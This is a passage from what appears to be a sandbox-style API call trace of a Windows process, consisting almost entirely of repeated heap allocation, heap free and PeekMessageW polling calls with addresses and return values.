(HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0138.030] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0138.030] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0138.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0138.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0138.031] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0138.032] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0138.032] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0138.033] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0138.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0138.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0138.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0138.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0138.033] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0138.034] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0138.034] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0138.035] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0138.035] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0138.036] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.036] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.037] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.038] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.039] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, 